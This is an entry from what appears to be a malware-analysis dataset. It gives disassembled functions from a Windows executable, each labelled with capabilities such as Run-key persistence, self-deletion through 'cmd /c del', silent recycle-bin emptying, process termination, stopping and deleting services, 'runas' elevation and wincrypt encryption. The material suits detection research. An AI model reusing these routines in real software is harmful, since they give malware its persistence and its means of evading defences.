joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140039fa0
Capabilities:
Set registry value

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
sub rsp, 0x38
lea rax, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14003a018
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov dword [rsp + 0x28], 4
lea rdx, str.EnableLinkedConnections
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x48], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x38
ret

Function at 0x14003a020
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x670
mov r8d, 0x104
lea rdx, [rsp + 0x460]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ebx, ebx
lea rcx, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x680], rbx
mov r8d, 0x410
call fcn.140074220
lea r8, [0x1400d55b8]
mov edx, 0x208
lea rcx, [rsp + 0x50]
call fcn.14007843c
lea r8, [rsp + 0x460]
mov edx, 0x208
lea rcx, [rsp + 0x50]
call fcn.1400784a4
lea r8, [0x1400d55bc]
mov edx, 0x208
lea rcx, [rsp + 0x50]
call fcn.1400784a4
lea r8, [0x1400d562c]
mov edx, 0x208
lea rcx, [rsp + 0x50]
call fcn.1400784a4
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x680]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x2001f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14003a143
lea rcx, [rsp + 0x50]
mov rax, 0xffffffffffffffff
cmp word [rcx + rax*2 + 2], bx
lea rax, [rax + 1]
jne 0x14003a105
lea ecx, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], ecx
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x680]
lea rdx, [0x1400d5630]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x680]
test rcx, rcx
je 0x14003a156
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x670
pop rbx
ret
Function at 0x14003ae50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14003ae74
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x14003aeb7
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x14003aeb7
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x14003afc2
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14003aefa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14003af09
movsx ecx, dil
jmp 0x14003af63
lea r8, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x41]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x98]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x40]
call qword [rax + 0x38]
test eax, eax
js 0x14003afc2
cmp eax, 1
jle 0x14003af7d
cmp eax, 3
jne 0x14003afc2
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call fcn.140077edc
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14003afc7
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x14003afad
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call fcn.140078ab8
cmp rsi, rax
jne 0x14003afc2
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov eax, edi
jne 0x14003afc7
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x140042960
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
mov rsi, r8
mov rbx, rdx
xor ebp, ebp
cmp qword [r8 + 0x10], rbp
je 0x140042a46
mov qword [rax - 0x18], rbp
mov qword [rax - 0x10], 7
mov word [rax - 0x28], bp
mov edx, 0x108
lea rcx, [rax - 0x28]
call fcn.140037c60
mov r8, rax
mov qword [rsp + 0x30], 0x104
mov qword [rsp + 0x38], 0x107
movzx eax, bp
mov rdi, r8
mov ecx, 0x104
rep stosw word [rdi], ax
mov word [r8 + 0x208], bp
mov qword [rsp + 0x20], r8
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 8
cmovae rdx, r8
cmp qword [rsi + 0x18], 8
jb 0x1400429ed
mov rsi, qword [rsi]
mov r8d, dword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edx, eax
mov rax, qword [rsp + 0x30]
cmp rdx, rax
ja 0x140042a23
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 8
cmovae rax, qword [rsp + 0x20]
mov qword [rsp + 0x30], rdx
mov word [rax + rdx*2], bp
jmp 0x140042a33
xor r8d, r8d
sub rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1400401e0
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rbx + 0x10], xmm1
jmp 0x140042a67
mov qword [rdx + 0x10], rbp
mov qword [rdx + 0x18], 7
mov word [rdx], bp
xor r8d, r8d
lea rdx, [0x1400d56dc]
mov rcx, rbx
call fcn.140037b30
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x1400438f0
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
sub rsp, 0x458
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400439a7
mov r8d, 0x104
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x1400439a7
lea rdx, str._c_del
lea rcx, [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.____NUL
lea rcx, [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8d, 0x104
lea rdx, [rsp + 0x30]
lea rcx, str.ComSpec
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x1400439a7
xor eax, eax
lea r9, [rsp + 0x240]
mov dword [rsp + 0x28], eax
lea r8, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call fcn.14007a9c0
int3
Function at 0x1400439b0
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0xe8
cmp qword [rdx + 0x10], 0
je 0x140043a72
xorps xmm0, xmm0
xor eax, eax
cmp qword [rdx + 0x18], 8
movups xmmword [rsp + 0x70], xmm0
mov qword [r11 - 0x18], rax
movups xmmword [r11 - 0x68], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
movups xmmword [r11 - 0x28], xmm0
movups xmmword [rsp + 0x50], xmm0
jb 0x140043a00
mov rdx, qword [rdx]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
xor ecx, ecx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140043a72
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0xe8
ret
xor al, al
add rsp, 0xe8
ret

Function at 0x140043a80
Capabilities:
Empty recycle bin quietly
Empty the recycle bin

Disassembly:
sub rsp, 0x28
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
test eax, eax
sete al
add rsp, 0x28
ret
Function at 0x140043aa0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x280
mov r12, rdx
cmp qword [rdx + 0x10], 0
je 0x140043c77
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov qword [rsp + 0x2b0], rax
cmp rax, 0xffffffffffffffff
je 0x140043c77
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x44]
call fcn.140074220
mov dword [rsp + 0x40], 0x238
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140043c6e
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x6c]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140043b43
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.140037b30
mov rdx, qword [r12 + 0x10]
mov r13, qword [rsp + 0x38]
mov r15, qword [rsp + 0x20]
cmp rdx, qword [rsp + 0x30]
jne 0x140043bee
lea r14, [rsp + 0x20]
cmp r13, 8
cmovae r14, r15
mov rax, r12
cmp qword [r12 + 0x18], 8
jb 0x140043b8f
mov rax, qword [r12]
lea rbx, [rax + rdx*2]
mov rdi, r12
jb 0x140043b9c
mov rdi, qword [r12]
cmp rdi, rbx
je 0x140043be2
sub r14, rdi
nop dword [rax]
nop dword [rax + rax]
movzx ebp, word [r14 + rdi]
movzx eax, word [rdi]
cmp ax, bp
je 0x140043bd1
mov ecx, eax
call fcn.14007a6b8
mov esi, eax
mov ecx, ebp
call fcn.14007a6b8
cmp esi, eax
jne 0x140043be6
add rdi, 2
cmp rdi, rbx
jne 0x140043bb0
mov rsi, qword [rsp + 0x2b0]
mov bl, 1
jmp 0x140043bf0
mov rsi, qword [rsp + 0x2b0]
xor bl, bl
cmp r13, 8
jb 0x140043c27
lea rdx, [r13*2 + 2]
mov rax, r15
cmp rdx, 0x1000
jb 0x140043c1f
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043c9a
mov rcx, r15
call fcn.140071ab4
test bl, bl
je 0x140043c43
mov r8d, dword [rsp + 0x48]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140043c56
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x140043b1a
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140043c79
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140077e4c
int3
Function at 0x140043ca0
Capabilities:
Stop service

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
xor dil, dil
mov rbx, rdx
cmp qword [rdx + 0x10], 0
je 0x140043d40
xor edx, edx
mov qword [rsp + 0x50], rsi
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140043d2c
cmp qword [rbx + 0x18], 8
jb 0x140043ce2
mov rbx, qword [rbx]
mov r8d, 0x20
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
je 0x140043d23
xor ecx, ecx
lea r8, [rsp + 0x20]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x38], ecx
movups xmmword [rsp + 0x20], xmm0
lea edx, [rcx + 1]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
setne dil
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0x50]
movzx eax, dil
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rbx, qword [rsp + 0x58]
movzx eax, dil
add rsp, 0x40
pop rdi
ret

Function at 0x140043d50
Capabilities:
Start service

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
xor dil, dil
mov rbx, rdx
cmp qword [rdx + 0x10], 0
je 0x140043dd6
xor edx, edx
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140043dc2
cmp qword [rbx + 0x18], 8
jb 0x140043d8e
mov rbx, qword [rbx]
mov r8d, 0x10
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
je 0x140043db9
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
setne dil
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0x30]
movzx eax, dil
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
movzx eax, dil
add rsp, 0x20
pop rdi
ret

Function at 0x140043df0
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
xor dil, dil
mov rbx, rdx
cmp qword [rdx + 0x10], 0
je 0x140043e7d
xor edx, edx
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140043e69
cmp qword [rbx + 0x18], 8
jb 0x140043e2e
mov rbx, qword [rbx]
mov r8d, 0x10020
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x140043e60
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
mov rcx, rbx
setne dil
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0x30]
movzx eax, dil
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
movzx eax, dil
add rsp, 0x20
pop rdi
ret
Function at 0x140043f20
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
xor ebx, ebx
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], 7
mov word [rbp - 0x39], bx
mov edx, 0x108
lea rcx, [rbp - 0x39]
call fcn.140037c60
mov r8, rax
mov qword [rbp - 0x29], 0x104
mov qword [rbp - 0x21], 0x107
movzx eax, bx
mov rdi, r8
mov ecx, 0x104
rep stosw word [rdi], ax
mov word [r8 + 0x208], bx
mov qword [rbp - 0x39], r8
lea rdx, [rbp - 0x39]
cmp qword [rbp - 0x21], 8
cmovae rdx, r8
mov r8d, dword [rbp - 0x29]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140044038
mov edx, eax
mov rax, qword [rbp - 0x29]
cmp rdx, rax
ja 0x140043fc8
lea rax, [rbp - 0x39]
cmp qword [rbp - 0x21], 8
cmovae rax, qword [rbp - 0x39]
mov qword [rbp - 0x29], rdx
mov word [rax + rdx*2], bx
jmp 0x140043fd7
xor r8d, r8d
sub rdx, rax
lea rcx, [rbp - 0x39]
call fcn.1400401e0
mov dword [rbp - 0x19], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x15], xmm0
movups xmmword [rbp - 5], xmm0
movups xmmword [rbp + 0xb], xmm0
movups xmmword [rbp + 0x1b], xmm0
movups xmmword [rbp + 0x2b], xmm0
movups xmmword [rbp + 0x3b], xmm0
mov qword [rbp + 0x4b], rax
mov dword [rbp + 0x53], eax
lea rax, str.runas
mov qword [rbp - 9], rax
lea rax, [rbp - 0x39]
cmp qword [rbp - 0x21], 8
cmovae rax, qword [rbp - 0x39]
mov qword [rbp - 1], rax
mov qword [rbp - 0x11], rbx
mov dword [rbp + 0x17], 1
lea rcx, [rbp - 0x19]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140044090
mov rdx, qword [rbp - 0x21]
cmp rdx, 8
jb 0x140044075
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004406f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004408a
call fcn.140071ab4
nop
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.140077e4c
int3
xor ecx, ecx
call fcn.14007a9c0
int3
Function at 0x1400442c0
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x10], rdx
push rsi
push rdi
push r14
sub rsp, 0x60
mov rsi, rcx
xor r14d, r14d
mov dword [r11 + 0x10], r14d
lea rbp, [0x1400f8020]
mov rcx, rbp
cmp qword [0x1400f8038], 0x10
cmovae rcx, qword [0x1400f8020]
mov qword [r11 - 0x48], r14
mov qword [r11 - 0x50], r14
lea rax, [r11 + 0x10]
mov qword [r11 - 0x58], rax
xor r9d, r9d
xor edx, edx
lea r8d, [r14 + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x14004445d
mov edi, dword [rsp + 0x88]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
test rdi, rdi
je 0x140044399
cmp rdi, 0x1000
jb 0x140044371
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x14004447b
call fcn.140071a78
mov rcx, rax
test rax, rax
je 0x140044475
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140044379
mov rcx, rdi
call fcn.140071a78
mov qword [rsp + 0x40], rax
lea rbx, [rax + rdi]
mov qword [rsp + 0x50], rbx
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.140074220
mov qword [rsp + 0x48], rbx
cmp qword [0x1400f8038], 0x10
cmovae rbp, qword [0x1400f8020]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x40]
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rbp
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x140044425
mov rax, qword [rsi]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [rax]
mov rbx, rax
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140044420
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004441b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044475
call fcn.140071ab4
mov rax, rbx
jmp 0x140044460
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14004445d
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044458
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044475
call fcn.140071ab4
mov rax, rsi
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140077e4c
int3
call fcn.140036c60
int3

Function at 0x140044490
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov esi, edx
mov byte [rcx], 0
mov rbx, rcx
mov dword [rsp + 0x20], 0xf0000000
mov r9d, edx
add rcx, 8
xor edx, edx
mov rdi, r8
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
setne r9b
mov byte [rbx], r9b
test eax, eax
jne 0x140044501
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x140044501
mov r9d, esi
mov dword [rsp + 0x20], 8
mov r8, rdi
lea rcx, [rbx + 8]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
setne al
mov byte [rbx], al
mov rbp, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1400447f0
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbx, rdx
mov rdi, rcx
cmp byte [rcx - 8], 0
je 0x1400448b8
mov eax, dword [rdx + 8]
sub eax, dword [rdx]
mov dword [rsp + 0x50], eax
movzx esi, r8b
xor ecx, ecx
mov dword [rsp + 0x30], ecx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, esi
xor edx, edx
mov rcx, qword [rdi + 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400448af
mov eax, dword [rbx + 8]
sub eax, dword [rbx]
mov dword [rsp + 0x68], eax
mov r8, qword [rbx]
mov ecx, dword [rsp + 0x50]
mov edx, ecx
mov rax, qword [rbx + 8]
sub rax, r8
cmp rcx, rax
jbe 0x140044874
mov rcx, rbx
call fcn.140038bf0
mov r8, qword [rbx]
mov ecx, dword [rsp + 0x50]
mov dword [rsp + 0x30], ecx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r9d, r9d
mov r8d, esi
xor edx, edx
mov rcx, qword [rdi + 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400448af
mov al, 1
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rdi + 0x24], eax
xor al, al
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1400453f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov r15d, edx
lea r14d, [rdx - 1]
mov rdi, rcx
xor r12d, r12d
nop word [rax + rax]
mov esi, r12d
mov ebp, r12d
test r14d, r14d
je 0x1400455fa
mov r8, qword [rdi + 8]
nop dword [rax]
nop word [rax + rax]
lea ecx, [r8 + 0xff]
shl esi, cl
add esi, esi
nop dword [rax + rax]
mov r10, qword [rdi]
mov ecx, dword [r10]
cmp ecx, 0x270
jne 0x1400454b4
lea rax, [r10 + 8]
mov r9d, ecx
nop word [rax + rax]
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub r9, 1
jne 0x140045470
mov ecx, dword [r10]
jmp 0x140045597
cmp ecx, 0x4e0
jb 0x140045597
lea r11, [r10 + 0x9c4]
mov ebx, 0xe3
mov eax, dword [r11]
nop
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x1400454d0
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x140045520
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
mov ecx, r12d
mov dword [r10], r12d
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
mov edx, dword [rdi + 0x10]
cmp eax, edx
ja 0x140045450
mov r8, qword [rdi + 8]
or esi, eax
lea ecx, [r8 + 0xff]
shl ebp, cl
add ebp, ebp
or ebp, edx
cmp ebp, r14d
jb 0x140045440
xor edx, edx
mov eax, ebp
div r15d
mov ecx, eax
mov r8d, edx
xor edx, edx
mov eax, esi
div r15d
cmp eax, ecx
jb 0x14004561a
cmp r8d, r14d
jne 0x140045420
mov rbx, qword [rsp + 0x20]
mov eax, esi
mov rbp, qword [rsp + 0x28]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
div r15d
mov eax, edx
pop r15
pop r14
pop r12
ret
Function at 0x140045670
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
